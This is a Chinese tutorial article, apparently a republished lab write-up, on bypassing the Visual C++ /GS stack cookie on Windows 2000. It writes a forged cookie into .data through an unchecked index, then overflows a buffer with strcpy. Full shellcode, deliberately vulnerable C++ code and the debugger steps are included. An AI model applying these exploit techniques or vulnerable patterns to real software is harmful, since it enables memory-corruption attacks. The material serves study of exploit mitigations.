iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > 其他教程 >C++替换栈中和.data中的cookie实现步骤详解
  • 737
分享到

C++替换栈中和.data中的cookie实现步骤详解

C++替换栈中和.data中的cookieC++.data中的cookie 2022-11-13 18:11:29 737人浏览 安东尼
摘要

目录一、实验环境二、实验代码三、实验步骤1、security cookie机制2、获取堆区起始地址3、修改.data中的原始cookie4、查看栈区dest的起始地址5、构造shel

一、实验环境

操作系统windows 2000 professional

软件版本:原版OD(实时调试)、VS2008(release)

二、实验代码

#include <stdafx.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
"\x90\x90\x90\x90"//new value of cookie in .data
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xF4\x6F\x82\x90"//result of \x90\x90\x90\x90 xor EBP
"\x90\x90\x90\x90"
"\x94\xFE\x12\x00"//address of shellcode
;
void test(char * str, int i, char * src)
{
	char dest[200];
	if(i<0x9995)
	{
		char * buf=str+i;
		*buf=*src;
		*(buf+1)=*(src+1);
		*(buf+2)=*(src+2);
		*(buf+3)=*(src+3);
	    strcpy(dest,src);
	}
}
void main()
{
	__asm int 3
	char * str=(char *)malloc(0x10000);
	test(str,0xFFFF2FB8,shellcode);	
}

代码分析:

(1)test函数会修改s+i到s+i+3(内存地址)中保存的数据;

(2)test函数中strcpy存在典型的溢出漏洞。

三、实验步骤

1、security cookie机制

直接运行到if语句处;

产生:程序将0x403000处保存的值,赋给EAX,将EAX与EBP异或,异或结果(security cookie)存储在EAX中,然后将EAX中的值(也就是security cookie)保存在EBP-4处。

验证:程序从EBP-4处取出值,然后与EBP异或,最后将异或结果与0x00403000处的Cookie进行比较,如果二者一致则校验通过,否则转入校验失败哦的异常处理。

同时可以看到security cookie存放在0x12FF60处。

现在的重点是:

  • 将.data中保存的原cookie改为\x90\x90\x90\x90;
  • 用\x90\x90\x90\x90与EBP的值进行异或,并替换security cookie;
  • 将test函数的返回地址改为shellcode的起始地址,带程序返回时,即可执行shellcode.

2、获取堆区起始地址

调试代码:

#include <stdafx.h>
#include <string.h>
#include <stdlib.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
void test(char * str, int i, char * src)
{
	char dest[200];
	if(i<0x9995)
	{
		char * buf=str+i;
		*buf=*src;
		*(buf+1)=*(src+1);
		*(buf+2)=*(src+2);
		*(buf+3)=*(src+3);
	    strcpy(dest,src);
	}
}
void main()
{
	__asm int 3
	char * str=(char *)malloc(0x10000);
	test(str,0xFFFF2FB8,shellcode);	
}

编译,运行完malloc函数:

可见malloc获取的堆区的起始地址为0x410048。

如何判断堆区在哪儿呢?

  • 单步跳过call语句,有些寄存器的值会变红,说明执行完这一函数后,寄存器中的值改变了,实在不会,就将数据窗口依次跳到相应位置。
  • 需要多0x178这一偏移地址警惕,因为0x178在堆分配的时候,是空表索引freelist[0]的内存地址;因为堆初始化的时候,只有一个尾块链在freelist[0]处的,且初次分配的时候是从尾块前面“切”的,所以此处会出现0x390178.

故,可以断定,0x410048为申请的空间的起始地址,也就是str的值。

3、修改.data中的原始cookie

查看.data在内存中的起始地址;

可见.data在内存中的起始地址为0x403000。

0x403000属于低地址,0x410048属于高地址,因为i并没有规定上限,因此只需将i设置为0xFFFF2FB8即可让str指向0x403000。

可见,.data中的原cookie已经被覆盖。

4、查看栈区dest的起始地址

可以在OD中看到粗线部分,起始就是strcpy函数。可见起始地址为0x12FE94.

5、构造shellcode

计算security cookie时的EBP为0x12FF64,.data存放的原cookie改为\x90\x90\x90\x90,伪造的security cookie就是0x90826FF4.

security cookie应存放在0x12FF60,dest的起始地址为0x12FE94,所以shellcode可以这样构造:

将构造好的shellcode复制到程序中,运行:

strcpy之后,可见security cookie和test函数的返回地址都被覆盖了!

F9运行:

到此这篇关于c++替换栈中和.data中的cookie实现步骤详解的文章就介绍到这了,更多相关C++替换栈中和.data中的cookie内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: C++替换栈中和.data中的cookie实现步骤详解

本文链接: https://www.lsjlt.com/news/169628.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • C++替换栈中和.data中的cookie实现步骤详解
    目录一、实验环境二、实验代码三、实验步骤1、security cookie机制2、获取堆区起始地址3、修改.data中的原始cookie4、查看栈区dest的起始地址5、构造shel...
    99+
    2022-11-13
    C++替换栈中和.data中的cookie C++ .data中的cookie
  • Springdoc替换swagger的实现步骤分解
    目录前言一、springdoc介绍二、使用步骤1.引入库2.spring配置类3.常用的swagger注解和springdoc的对应关系4.一个接口类的示例5.配置文件配置6.Web...
    99+
    2023-02-15
    Springdoc替换swagger Springdoc swagger
  • 用Python实现堆栈中序遍历二叉树的详细步骤
    使用堆栈无需递归就能遍历二叉树,下面是一个使用堆栈中序遍历二叉树的算法。 算法思路 1)创建一个空栈S。 2)将当前节点初始化为root 3)将当前节点推入S并设置current=current-&gt;left直到cu...
    99+
    2024-01-23
    算法的概念
  • C语言进程程序替换的实现详解
    目录进程程序替换替换原理替换函数替换函数名称助记进程程序替换 替换原理 使用fork创建子进程后执行的是和父进程相同的程序,但是那样并没有多大的意义,子进程往往会“程序替...
    99+
    2024-04-02
  • C语言中栈的两种实现方法详解
    目录一、顺序栈二、链式栈总结一、顺序栈 #include<stdio.h> #include<stdlib.h> #define maxsize 64 ...
    99+
    2024-04-02
  • PHP编程指南:月份中文转换实现步骤详解
    PHP编程指南:月份中文转换实现步骤详解 在开发网站或应用程序时,有时候我们需要将日期或时间以中文的形式显示,包括月份。在PHP编程中,实现月份中文转换并不复杂,下面将详细介绍实现步骤...
    99+
    2024-04-02
  • C++ 栈和队列的实现超详细解析
    目录1、栈的介绍:2、栈的常用接口实现 3、队列的介绍4、队列的常用接口实现 可算是把链表给结束了,很多小伙伴已经迫不及待想看到栈和队列了,那么它来了!相信有了顺...
    99+
    2024-04-02
  • C++中的堆和栈问题详细解析
    C++中的堆和栈问题详细解析在C++中,堆(Heap)和栈(Stack)是两个重要的概念,用于管理内存的分配和释放。本文将详细解析堆和栈的概念、区别以及使用时需要注意的问题,并提供具体的代码示例。堆和栈的定义堆和栈均属于计算机内存中的一部分...
    99+
    2023-10-22
    ) C++堆 ) C++栈 ) 堆和栈区别
  • C#实现网络小程序的步骤详解
    目录1、简单上手2、使用并行计算3、添加异步编程4、补充经常要检测某些IP地址范围段的计算机是否在线。 有很多的方法,比如进入到网关的交换机上去查询、使用现成的工具或者编写一个简单的...
    99+
    2022-12-27
    C#网络小程序 C#网络 C# 小程序
  • C语言中顺序栈和链栈的定义和使用详解
    目录栈的基本内容顺序栈定义入栈操作出栈顺序栈的缺点出栈顺序的计算方法链栈栈的基本内容 无论是我们接下来要讲的栈还是后面要讲到的队列,他们虽然在名字上不同于我们之前的顺序表或者单链表,...
    99+
    2022-11-13
    C语言 顺序栈 链栈 C语言 顺序栈 C语言 链栈
  • C#中调整图像大小的步骤详解
    在本篇文章中,我将介绍如何在C#中来调整你想要的图像大小。要实现这一目标,我们可以采取以下几个步骤: 1.首先要获取你想要调整大小的图像: string path = Serve...
    99+
    2024-04-02
  • C++详解哈夫曼树的概念与实现步骤
    目录一、基本概念二、构造哈夫曼树三、哈夫曼树的基本性质四、哈夫曼编码五、哈夫曼解码六、文件的压缩和解压缩一、基本概念 结点的权: 有某种现实含义的数值 结点的带权路径长度: 从结点的...
    99+
    2024-04-02
  • 详解PHP中美国时间转中国时间的实现步骤
    PHP是一种常用的程序设计语言,用于开发Web应用程序。在开发Web应用程序的过程中,可能涉及到不同时区时间的转换,比如将美国时间转换为中国时间。本文将详细介绍如何使用PHP实现将美国...
    99+
    2024-04-02
  • C#中实现登录功能的完整步骤
    1. 准备工作 新建一个数据库StudentDB -- 使用master 数据库 use master go if exists(select *from sysda...
    99+
    2024-04-02
  • MongoDB中数据的替换方法实现类Replace()函数功能详解
    近日接到一个开发需求,因业务调整,需要DBA协助,将MongoDB数据库中某集合的进行替换。例如我们需要将集合A中B字段中,有关《美好》的字符替换为 《非常美好》。个人感觉这个需求如果是在SQL Serve...
    99+
    2024-04-02
  • Python中搜索和替换文件中的文本的实现(四种)
    在本文中,我将给大家演示如何在 python 中使用四种方法替换文件中的文本。 方法一:不使用任何外部模块搜索和替换文本 让我们看看如何在文本文件中搜索和替换文本。首先,我们创建一个...
    99+
    2024-04-02
  • 学习Python中A*算法实现的详细步骤
    以此加权图为例,用Python实现A*算法。加权图中的节点用粉红色圆圈表示,并且给出了沿节点的路径的权重。节点上方的数字代表节点的启发式值。 首先为算法创建类。一个用于存储与起始节点的距离,另一个用于存储父节点。并将它们初始化...
    99+
    2024-01-23
  • C++容器适配与栈的实现及dequeque和优先级详解
    目录容器适配器栈的实现queque实现dequequedequeque的缺陷优先级队列习题优先级队列模拟实现仿函数容器适配器 我们可以看出,栈中没有空间配置器(内存池),而是适配器...
    99+
    2022-11-13
    C++容器适配 C++dequeque C++优先级
  • Bash中的Go Path和NPM路径设置步骤详解!
    在Bash中,Go和NPM是两个非常常用的工具。Go是一种编程语言,NPM是一个包管理器,用于在Node.js中安装和管理软件包。对于想要使用这两个工具的人来说,正确设置它们的路径是至关重要的。 本文将详细介绍如何在Bash中设置Go P...
    99+
    2023-08-30
    path bash npm
  • C#面向对象编程中里氏替换原则的示例详解
    目录里氏替换原则C# 示例糟糕的示范正确的示范总结在面向对象编程中,SOLID 是五个设计原则的首字母缩写,旨在使软件设计更易于理解、灵活和可维护。这些原则是由美国软件工程...
    99+
    2024-04-02
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作